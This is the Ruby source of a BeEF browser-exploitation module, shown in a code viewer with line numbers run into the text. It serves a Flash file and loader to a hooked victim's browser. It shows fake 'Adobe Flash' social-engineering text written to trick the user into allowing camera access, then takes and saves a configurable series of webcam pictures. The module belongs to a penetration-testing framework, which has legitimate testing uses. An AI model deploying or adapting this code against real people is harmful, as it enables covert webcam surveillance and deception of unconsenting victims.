Path: blob/master/modules/browser/webcam_flash/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5require 'base64'6class Webcam_flash < BeEF::Core::Command7def pre_send8BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_flash/takeit.swf', '/takeit', 'swf')9BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam_flash/swfobject.js', '/swfobject', 'js')10end1112def self.options13social_engineering_title = 'This website is using Adobe Flash'14social_engineering_text = 'In order to work with the programming framework this website is using, you need to allow the Adobe Flash Player Settings. If you use the new Ajax and HTML5 features in conjunction with Adobe Flash Player, it will improve your user experience.'15no_of_pictures = 2016interval = 100017[18{ 'name' => 'social_engineering_title',19'description' => 'The title that is shown to the victim.',20'ui_label' => 'Social Engineering Title',21'value' => social_engineering_title,22'width' => '100px' }, {23'name' => 'social_engineering_text',24'description' => 'The social engineering text you want to show to convince the user to click the Allow button.',25'ui_label' => 'Social Engineering Text',26'value' => social_engineering_text,27'width' => '300px',28'type' => 'textarea'29}, {30'name' => 'no_of_pictures',31'description' => 'The number of pictures you want to take after the victim clicked "allow".',32'ui_label' => 'Number of pictures',33'value' => no_of_pictures,34'width' => '100px'35}, {36'name' => 'interval',37'description' => 'The interval in which pictures are taken.',38'ui_label' => 'Interval to take pictures (ms)',39'value' => interval,40'width' => '100px'41}42]43end4445def post_execute46content = {}47content['result'] = @datastore['result'] unless @datastore['result'].nil?48content['picture'] = @datastore['picture'] unless @datastore['picture'].nil?49save content50BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/takeit.swf')51BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/swfobject.js')52end53end545556